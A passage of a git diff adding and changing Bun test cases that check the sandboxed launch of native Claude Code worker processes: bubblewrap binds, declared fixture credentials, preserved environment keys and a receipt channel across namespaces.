expect(seen.has("DISABLE_PROMPT_CACHING")).toBe(true);expect(seen.has("CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC")).toBe(true); +}); + +test("native profile literal credentials are explicitly declared instead of rewritten",()=>{ + const credentialKeys=new Set(["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"]);let checked=0; + for(const [file,source] of fixtureSources(join(import.meta.dir,".."))){ + if(!nativeSdkLauncher(source))continue; + const declarations=new Map>(); + const collect=(node:ts.Node):void=>{ + if(ts.isPropertyAssignment(node)&&node.name.getText(source)==="fixtureCredentials"&&ts.isObjectLiteralExpression(node.initializer))for(const field of node.initializer.properties)if(ts.isPropertyAssignment(field)&&ts.isStringLiteral(field.initializer)){ + const key=field.name.getText(source).replace(/^['"]|['"]$/g,"");const values=declarations.get(key)??new Set();values.add(field.initializer.text);declarations.set(key,values); + }ts.forEachChild(node,collect); + };collect(source); + const visit=(node:ts.Node):void=>{ + if(ts.isPropertyAssignment(node)&&credentialKeys.has(node.name.getText(source))&&ts.isStringLiteral(node.initializer)&&node.initializer.text){ + let profile=false;for(let parent:ts.Node|undefined=node.parent;parent;parent=parent.parent)if(ts.isPropertyAssignment(parent)&&parent.name.getText(source)==="buildEnv"){profile=true;break;} + const value=node.initializer.text; + if(profile&&value!=="offline-fixture"&&!/^sk-ant-(?:api03|oat01)-([a-z])\1{94}AA$/.test(value)&&!/^sk-ant-declared-t{60}$/.test(value)){ + checked++;expect(declarations.get(node.name.getText(source))?.has(value),"FIXTURE_PROFILE_CREDENTIAL_BYTES_DECLARED "+file).toBe(true); + } + }ts.forEachChild(node,visit); + };visit(source); + } + expect(checked,"NATIVE_PROFILE_CREDENTIAL_DECLARATIONS_ARE_ACTUALLY_CHECKED").toBeGreaterThan(5); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index b1429e663d..e255cf402e 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -284,14 +284,15 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"),payload=boundary.argv.indexOf("--",broker)+1; if(boundary.argv[payload]!=="/usr/bin/python3"||!boundary.argv[payload+4]?.includes('os.environ["ANTHROPIC_BASE_URL"]=os.environ["HTTP_PROXY"]'))throw Error("REAL_DIRECT_PLAN_ROUTE_SHIM"); const injected={};for(let i=0;i{ +test("every native launch path preserves the product environment except documented guard keys",async()=>{ const scratch=mkdtempSync(join(tmpdir(),"odysseus-all-native-auth-")); try{ const result=await probe(`${imports} @@ -1205,12 +1206,12 @@ test("every native launch path preserves the product's Unix-socket auth intent", Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}]}); + const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}}); const source=${JSON.stringify(join(scratch,"product-inference.sock"))},target="/run/brain-egress/inference.sock",relay=Bun.serve({unix:source,fetch:()=>new Response("Ithaca")}); const declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA",completed=[]; for(const path of ["direct","prewarm","worker","relayed","separate-UID"]){ - for(const productSocket of (path==="relayed"?[true]:[false,true])){ - const env={HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; + for(const productSocket of (path==="relayed"?[true]:[false,true]))for(const flag of [undefined,"0","1"]){ + const env={HOME:${JSON.stringify(scratch)},CLAUDE_CONFIG_DIR:${JSON.stringify(scratch)},PATH:"/usr/bin:/bin",LANG:"C.UTF-8",CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",DISABLE_PROMPT_CACHING:"1",...(flag===undefined?{}:{CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:flag,DISABLE_AUTOUPDATER:flag}),ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(!productSocket?{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}:{}),...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; let argv,dispose; if(path==="direct"||path==="prewarm"){ // SDK prewarm uses the direct process transport with --await-claim; @@ -1218,13 +1219,18 @@ test("every native launch path preserves the product's Unix-socket auth intent", const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},path==="prewarm"?["--await-claim"]:[],{cwd:${JSON.stringify(scratch)},env:{...env,...(productSocket?{ANTHROPIC_UNIX_SOCKET:source}:{})}});argv=boundary.argv;dispose=boundary.dispose; }else{ const gates=productSocket?[]:["/usr/bin/prlimit","--nofile=1024:1024","--","/bin/sh","-c",'IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"',"brain-worker-state-gate","/bin/sh","-c",'IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"',"brain-worker-start-gate"]; - const payload=["bwrap",...(productSocket?["--ro-bind",source,target]:[]),"--",...gates,${JSON.stringify(runtime)}]; + const payload=["bwrap",...Object.entries(env).flatMap(([key,value])=>["--setenv",key,value]),...(productSocket?["--ro-bind",source,target]:[]),"--",...gates,${JSON.stringify(runtime)}]; const outer=path==="separate-UID"?["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:payload})]:payload; const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env,argv:outer})});argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;dispose=plan.dispose; if(path==="separate-UID")argv=JSON.parse(argv[5]).argv; } if(!productSocket&&!["direct","prewarm"].includes(path)){const gate=argv.indexOf("brain-worker-start-gate"),entry=argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")),broker=argv.findIndex((arg,index)=>arg.endsWith("/native-connect")&&argv[index+1]==="--head");if(!(gate>=0&&entry>gate&&broker>entry))throw Error("REAL_WORKER_PLAN_GATES_THEN_FORWARDER_THEN_FILTER:"+path);} const injected={};for(let i=0;i{ + const root=mkdtempSync(join(tmpdir(),"odysseus-brain-path-")); + try { + const brain=join(root,"brain"),home=join(root,"home"),bin=join(brain,"node_modules",".bin"); + mkdirSync(brain);prepareMeasurementBrainCommands(brain);mkdirSync(home); + const path=brainWorkerPath(brain,"/usr/local/bin:/usr/bin:/bin"); + const view=fixtureToolView({PATH:path,HOME:home},brain,home); + expect(view.path,"REAL_BRAIN_WORKER_PATH_PRESERVED").toBe(path); + expect(readdirSync(bin),"FIXTURE_COMMAND_DIRECTORY_IS_EMPTY").toEqual([]); + expect(view.mounts,"EMPTY_FIXTURE_BIN_READ_ONLY").toEqual(["--ro-bind",realpathSync(bin),realpathSync(bin)]); + } finally {rmSync(root,{recursive:true,force:true});} +}); test("only read-only system or staged fixture PATH entries preserve exact spelling",()=>{ const root=mkdtempSync(join(tmpdir(),"odysseus-path-")),outside=mkdtempSync(join(tmpdir(),"odysseus-path-outside-")); diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 477dac4a09..59e6fe2778 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -3,13 +3,13 @@ import { expect, test } from "bun:test"; import { mkdtempSync, mkdirSync, copyFileSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { tmpdir } from "node:os"; -import { captureNativeReceipts } from "../scripts/native-test-receipts"; +import { captureNativeReceipts,nativeReceiptBwrapInsertion,inheritNativeReceipts } from "../scripts/native-test-receipts"; const receiptModule=join(import.meta.dir,"../scripts/native-test-receipts.ts"); -for(const view of ["plain","clearenv"] as const)test(`guard-owned receipts bypass ${view} child stderr`,async()=>{ +for(const view of ["plain","clearenv","userns"] as const)test(`guard-owned receipts bypass ${view} child stderr`,async()=>{ const capture=captureNativeReceipts(); try{ const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};nativeReceipt({kind:"native-offline-audit",head:"${"a".repeat(40)}",success:true,nativeLaunched:true,fixture:true});console.log("Odysseus protocol");`; - const argv=view==="plain"?[process.execPath,"-e",script]:["bwrap","--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--clearenv","--setenv","PATH","/usr/bin:/bin",process.execPath,"-e",script]; + const argv=view==="plain"?[process.execPath,"-e",script]:["bwrap",...(view==="userns"?["--unshare-user"]:[]),"--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--clearenv","--setenv","PATH","/usr/bin:/bin",process.execPath,"-e",script]; const child=Bun.spawn(argv,{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,err).toBe(0);expect(out.trim()).toBe("Odysseus protocol");expect(err,"CHILD_STDERR_IS_PROTOCOL_ONLY").toBe(""); @@ -50,3 +50,57 @@ test("copied preload modules retain the same owner channel after environment con expect(code,err).toBe(0);expect(err,"COPIED_PRELOAD_STDERR_IS_CLEAN").toBe("");expect(JSON.parse(capture.read()).fixture).toBe("copied-preload"); }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} }); + +test("a userns fixture that closes extra descriptors reopens only the exact private receipt file",async()=>{ + const capture=captureNativeReceipts(); + try{ + const code=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};nativeReceipt({kind:"native-offline-audit",fixture:"userns-closed-fd"});`; + const python='import os,json,sys\nvalue=json.loads(os.environ["BRAIN_NATIVE_RECEIPT"])\nos.close(value["fd"])\nos.execv(sys.argv[1],sys.argv[1:])'; + const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--","/usr/bin/python3","-I","-S","-c",python,process.execPath,"-e",code],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); + const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); + expect(exit,"USERNS_CLOSED_DESCRIPTOR_RECEIPT_SURVIVES "+err).toBe(0);expect(err).toBe("");expect(JSON.parse(capture.read()).fixture).toBe("userns-closed-fd"); + }finally{capture.dispose();} +}); + + +test("receipt insertion recognizes implicit bwrap payloads and preserves readonly ordering",()=>{ + const file="/tmp/odysseus-receipts/records"; + expect(nativeReceiptBwrapInsertion(["bwrap","--unshare-net","--ro-bind","/","/","--proc","/proc","--dev","/dev","/usr/bin/true"],file),"BWRAP_PROBE_WITHOUT_SEPARATOR").toBe(9); + const argv=["bwrap","--ro-bind","/","/","--tmpfs","/tmp","--remount-ro","/tmp","--","/usr/bin/true"]; + expect(nativeReceiptBwrapInsertion(argv,file),"RECEIPT_BIND_PRECEDES_FINAL_READONLY_PARENT").toBe(argv.indexOf("--remount-ro")); +}); + +test("receipt carrier survives an implicit probe and a readonly fixture tmp without changing final policy",async()=>{ + const probe=Bun.spawnSync(["bwrap","--unshare-net","--ro-bind","/","/","--proc","/proc","--dev","/dev","/usr/bin/true"],{stdout:"pipe",stderr:"pipe"});expect(probe.exitCode,"REAL_BWRAP_PROBE_STILL_SPAWNS "+probe.stderr).toBe(0); + const capture=captureNativeReceipts(); + try{ + const code=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};import {writeFileSync} from "node:fs";let readOnly=false;try{writeFileSync("/tmp/odysseus-unrelated","unexpected")}catch(e){readOnly=e.code==="EROFS";}if(!readOnly)throw Error("FIXTURE_TMP_REMAINS_READONLY");nativeReceipt({kind:"native-offline-audit",fixture:"readonly-tmp"});`; + const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--remount-ro","/tmp",process.execPath,"-e",code],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); + const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,"READONLY_FIXTURE_RECEIPT_SURVIVES "+err).toBe(0);expect(JSON.parse(capture.read()).fixture).toBe("readonly-tmp"); + }finally{capture.dispose();} +}); + + +test("bwrap channel injection never interprets literal payload or environment arguments as options",()=>{ + const capture=captureNativeReceipts(); + try{ + const command=["bwrap","--ro-bind","/","/","--clearenv","--setenv","ODYSSEUS_LITERAL","--clearenv","/usr/bin/printf","%s","--clearenv"]; + const inherited=inheritNativeReceipts({env:{...capture.env}},command,"pipe"); + expect(inherited.argv.filter(arg=>arg==="BRAIN_NATIVE_RECEIPT"),"ONLY_REAL_BWRAP_CLEARENV_GETS_CHANNEL").toHaveLength(1); + expect(inherited.argv.slice(-3),"BWRAP_PAYLOAD_ARGUMENTS_ARE_BYTE_IDENTICAL").toEqual(["/usr/bin/printf","%s","--clearenv"]); + }finally{capture.dispose();} +}); + + +test("pure bwrap version inspection remains a real harmless process",()=>{ + const result=Bun.spawnSync(["bwrap","--version"],{stdout:"pipe",stderr:"pipe"});expect(result.exitCode,"BWRAP_VERSION_PROBE_STILL_SPAWNS "+result.stderr).toBe(0);expect(result.stdout.toString()).toContain("bubblewrap"); +}); + + +test("a receipt descriptor cannot declare a different bind source",()=>{ + const capture=captureNativeReceipts(),root=mkdtempSync(join(tmpdir(),"odysseus-receipt-alias-")); + try{ + const token=JSON.parse(capture.env.BRAIN_NATIVE_RECEIPT!);token.path=root; + expect(()=>inheritNativeReceipts({env:{BRAIN_NATIVE_RECEIPT:JSON.stringify(token)}},["bwrap","--ro-bind","/","/","--","/usr/bin/true"],"pipe"),"RECEIPT_BIND_IS_THE_EXACT_PRIVATE_FILE").toThrow("Native receipt file is unavailable"); + }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-restricted-plan.test.ts b/tests/native-restricted-plan.test.ts new file mode 100644 index 0000000000..074e05ef04 --- /dev/null +++ b/tests/native-restricted-plan.test.ts @@ -0,0 +1,63 @@ +import {expect,test} from "bun:test"; +import {readFileSync,mkdtempSync,rmSync,statSync} from "node:fs"; +import {join} from "node:path"; +import {nativeDistributionConfigNames,nativeSyntheticSystemNames,nativeDistributionConfigFiles,startNativeTestRelay} from "../scripts/test-native-guard"; +import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +import {watchdogMs} from "../scripts/test-deadlines"; +const repo=join(import.meta.dir,".."); + +test("fixed native system roles match the product distribution configuration inventory",()=>{ + const product=readFileSync(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"),"utf8"); + const names=JSON.parse(/const SYSTEM_ETC = (\[[\s\S]*?\]);/.exec(product)![1]!); + expect(names,"PRODUCT_SYSTEM_CONFIGURATION_ROLES_DO_NOT_DRIFT").toEqual(["ld.so.cache",...nativeDistributionConfigNames,"alternatives",...nativeSyntheticSystemNames,"localtime","os-release"]); + expect(nativeDistributionConfigFiles("/etc/ld.so.conf.d").length,"DISTRIBUTION_CONFIG_IS_ACTUALLY_VERIFIED").toBeGreaterThan(0); +}); + +test("synthetic files resolve runner, worker and localhost with files-only NSS",async()=>{ + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),worker=(process.getuid?.()??1000)+100; + const previous=process.umask(0o077);let bridge:ReturnType;try{bridge=startNativeTestRelay(server.url.origin,worker);}finally{process.umask(previous);} + try{ + for(const name of nativeSyntheticSystemNames)expect(statSync(join(bridge.directory,name)).mode&0o777,"SYNTHETIC_SYSTEM_FILES_READABLE_AT_ANY_UMASK").toBe(0o444); + expect(readFileSync(join(bridge.directory,"nsswitch.conf"),"utf8")).toBe("passwd: files\ngroup: files\nhosts: files\n"); + const program=`import pwd,grp,socket\nassert pwd.getpwuid(${worker}).pw_uid==${worker}\nassert pwd.getpwuid(${process.getuid?.()??0}).pw_uid==${process.getuid?.()??0}\nassert grp.getgrgid(${process.getgid?.()??0}).gr_gid==${process.getgid?.()??0}\nassert {row[4][0] for row in socket.getaddrinfo("localhost",80)}=={"127.0.0.1","::1"}\nprint("FIXED_ACCOUNT_AND_LOCALHOST_LOOKUPS")`; + const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--proc","/proc","--dev","/dev",...bridge.configurationMounts,"--","/usr/bin/python3","-I","-S","-c",program],{stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(exit,err).toBe(0);expect(out).toContain("FIXED_ACCOUNT_AND_LOCALHOST_LOOKUPS"); + }finally{bridge.dispose();server.stop(true);} +}); + +for(const mode of ["complete","arbitrary-etc"] as const)test(`restricted production native plan admission: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-restricted-native-"); + const code=`import * as fs from "node:fs";import {join} from "node:path"; + import {nativeScriptedService,nativeWorkerBoundary,startNativeTestRelay,nativeDistributionConfigNames} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; + import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; + import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; + const root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);const view=createFixtureWorkerStartupView(brain); + const upstream=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(upstream.url.origin,{fixtureRoots:[root]}),bridge=startNativeTestRelay(upstream.url.origin);fs.chmodSync(join(bridge.directory,"relay.sock"),0o600);const leaveInputs=nativeScriptedService(upstream.url.origin,{fixtureRoots:[root,bridge.directory]}); + const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/run/brain-inference/relay.sock"}; + const launch={brainPath:brain,command:[runtime],startupView:view,env,restricted:{readPaths:[runtime],inferenceDir:bridge.directory}},argv=workerCommand(launch); + if(${JSON.stringify(mode)}==="arbitrary-etc")argv.splice(argv.indexOf("--"),0,"--ro-bind","/etc/debian_version","/etc/odysseus-unregistered"); + let plan;try{plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});plan.beforeLaunch();const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + for(const name of nativeDistributionConfigNames)if(!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+2]==="/etc/"+name))throw Error("RESTRICTED_DISTRIBUTION_DEPENDENCY_PRESENT"); + fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");console.log("RESTRICTED_PRODUCT_PLAN_ADMITTED");} + finally{plan?.dispose();leaveInputs();bridge.dispose();leave();upstream.stop(true);view.cleanup();}`; + try{const child=spawnGuardFixture([process.execPath,"-e",code],{timeout:watchdogMs(30000)}),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + if(mode==="complete"){expect(exit,err).toBe(0);expect(out).toContain("RESTRICTED_PRODUCT_PLAN_ADMITTED");} + else{expect(exit,"UNREGISTERED_ETC_INPUT_REFUSED").not.toBe(0);expect(err).toContain("worker bind was not created or staged by the fixture");} + }finally{rmSync(root,{recursive:true,force:true});} +}); + +for(const kind of ["regular","outside-symlink","directory"] as const)test(`distribution config view refuses non-config authority: ${kind}`,async()=>{ + const {mkdirSync,writeFileSync,symlinkSync}=await import("node:fs"),root=mkdtempSync("/tmp/odysseus-linker-config-"),configs=join(root,"configs");mkdirSync(configs); + try{ + if(kind==="regular")writeFileSync(join(configs,"odysseus.conf"),"/usr/lib\n"); + if(kind==="outside-symlink"){writeFileSync(join(root,"outside.conf"),"Odysseus\n");symlinkSync(join(root,"outside.conf"),join(configs,"odysseus.conf"));} + if(kind==="directory")mkdirSync(join(configs,"odysseus.conf")); + const script=`import {nativeDistributionConfigFiles} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))};console.log(JSON.stringify(nativeDistributionConfigFiles("/etc/ld.so.conf.d")));`; + const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--ro-bind",configs,"/etc/ld.so.conf.d","--proc","/proc","--dev","/dev","--",process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + if(kind==="regular"){expect(exit,err).toBe(0);expect(JSON.parse(out)).toEqual(["/etc/ld.so.conf.d/odysseus.conf"]);} + else{expect(exit,"NON_CONFIG_LINKER_INPUT_REFUSED").not.toBe(0);expect(err).toContain("only regular config files inside etc");} + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts index 2cfc11bd63..24c3644a78 100644 --- a/tests/native-strict-admission.test.ts +++ b/tests/native-strict-admission.test.ts @@ -4,7 +4,7 @@ import {join} from "node:path"; import {watchdogMs} from "../scripts/test-deadlines"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const repo=join(import.meta.dir,".."); -const modes=["managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; +const modes=["managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; for(const mode of modes)test(`strict native product plan admission: ${mode}`,async()=>{ const root=mkdtempSync("/tmp/odysseus-strict-admission-"); try{ @@ -12,6 +12,7 @@ for(const mode of modes)test(`strict native product plan admission: ${mode}`,asy import * as fs from "node:fs";import {join} from "node:path";import {spyOn} from "bun:test"; import {watchdogMs} from ${JSON.stringify(join(repo,"scripts/test-deadlines.ts"))}; import {prepareNativeWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-startup-view.ts"))}; +import * as launcher from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; import {workerCommand,createOutputStagingStorage} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; import {prepareFixtureWorkerOutput} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; import {nativeScriptedService,nativeFixtureTurnDataTree,nativeScriptedQuery,nativeWorkerBoundary,registerNativeFixtureKeeper,registerNativeFixtureManagedKeeper,recordNativeGuardChild} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; @@ -24,14 +25,15 @@ const treeParent=join(root,".brain-native/trees/00000000-0000-4000-8000-00000000 const server=Bun.serve({port:0,fetch(){return new Response(null,{status:400});}});const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); let invoke;const wrapped=nativeScriptedQuery(params=>{invoke=params.options.spawnClaudeCodeProcess;return {};},server.url.origin); const originalSpawn=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options));Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(originalSpawn,Bun,[argv,options]));process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; -let plan,output,undeclare,otherView;try{ +let plan,output,undeclare,otherView,inheritedLeave;try{ if(mode==="tree-declare-parent")tree.root=join(root,".brain-native"); if(mode==="tree-swapped"){[tree.root,tree.index]=[tree.index,tree.root];} if(mode==="tree-alias"){fs.symlinkSync(tree.root,tree.root+"-alias");tree.root+="-alias";} if(mode==="tree-outside")tree.index=brain; - if(!mode.startsWith("checkpoint-")&&(!mode.startsWith("managed-")||mode==="managed-complete"))undeclare=nativeFixtureTurnDataTree(server.url.origin,mode==="tree-wrong-brain"?root:brain,view,tree); + if(!mode.startsWith("checkpoint-")&&(!mode.startsWith("managed-")||(mode==="managed-complete"||mode==="managed-snapshot-reuse")))undeclare=nativeFixtureTurnDataTree(server.url.origin,mode==="tree-wrong-brain"?root:brain,view,tree); if(mode==="tree-replaced"){fs.renameSync(tree.index,tree.index+"-old");fs.mkdirSync(tree.index);} if(mode==="tree-released")undeclare(); + if(mode==="tree-inherited-released"){inheritedLeave=nativeScriptedService(server.url.origin);undeclare();} const runtime=bundledClaudeBinary(); // Exercise a registered fixture keeper through the actual production nsenter plan. let storage,unregister; @@ -53,16 +55,29 @@ let plan,output,undeclare,otherView;try{ if(mode==="managed-namespace")storage.namespacePid=process.pid; if(mode==="managed-fd")storage.root='/proc/self/fd/'+fd; if(mode==="managed-root")storage.mount=join(root,".brain-native/stages/33333333-3333-4333-8333-333333333333"); - unregister=registerNativeFixtureManagedKeeper(storage,["managed-unmanaged","managed-observed-unmanaged"].includes(mode)?{...view}:view); - if(mode==="managed-reuse"){unregister();registerNativeFixtureManagedKeeper(storage,view);} + // A keyless manager stand-in supplies the same bounded reader and attestation + // capabilities. The keeper and mount identity below are real bwrap evidence. + const uid=process.getuid(),ticketFile=join(root,"manager-stage-authority"),merged=fs.statSync(join(storage.root,"merged")),checkpoint=fs.statSync(view.root),ns=fs.statSync('/proc/'+storage.namespacePid+'/ns/mnt'); + const authority={version:1,kind:"brain-worker-stage",id:mount.split('/').at(-1),appUid:uid,appGid:process.getgid(),keeper:{pid:storage.namespacePid,start:storage.namespaceStart,mountNamespaceInode:String(ns.ino)},root:{path:join(mount,"merged"),dev:String(merged.dev),ino:String(merged.ino)},checkpoint:{path:view.root,dev:String(checkpoint.dev),ino:String(checkpoint.ino),uuid:"b".repeat(32)},allowanceBytes:1024*1024}; + fs.writeFileSync(ticketFile,JSON.stringify(authority));const ticketFd=fs.openSync(ticketFile,'r');storage.allowanceBytes=authority.allowanceBytes; + const originalFstat=fs.fstatSync;spyOn(fs,"fstatSync").mockImplementation((fd,...args)=>{const info=originalFstat(fd,...args);return fd===ticketFd?{...info,uid:mode==="managed-ticket-owner"?1:0,nlink:0,mode:0o100444,isFile:()=>true}:info;}); + spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:uid}); + const metadata=path=>{const info=fs.lstatSync(join(storage.root,"merged",path));return {path,kind:info.isDirectory()?"directory":info.isFile()?"file":"other",mode:info.mode&0o777,bytes:info.size,stamp:String(info.ino)+":"+String(info.mtimeMs),inode:String(info.ino)};}; + manager.attestStage=async()=>({fd:ticketFd,close(){try{fs.closeSync(ticketFd);}catch{}}}); + manager.listStage=async(id,path)=>fs.readdirSync(join(storage.root,"merged",path)).map(name=>metadata(path?path+'/'+name:name));manager.statStage=async(id,path)=>metadata(path); + manager.readStage=async(id,path,maximum,workerUid)=>{const bytes=fs.readFileSync(join(storage.root,"merged",path));return {workerUid,stream:new ReadableStream({start(c){c.enqueue(bytes);c.close();}}),completed:Promise.resolve({bytes:bytes.length,workerUid})};}; + unregister=await registerNativeFixtureManagedKeeper(storage,["managed-unmanaged","managed-observed-unmanaged"].includes(mode)?{...view}:view); + if(mode==="managed-reuse"){unregister();await registerNativeFixtureManagedKeeper(storage,view);} if(mode==="managed-other-scope")nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); }else{ - 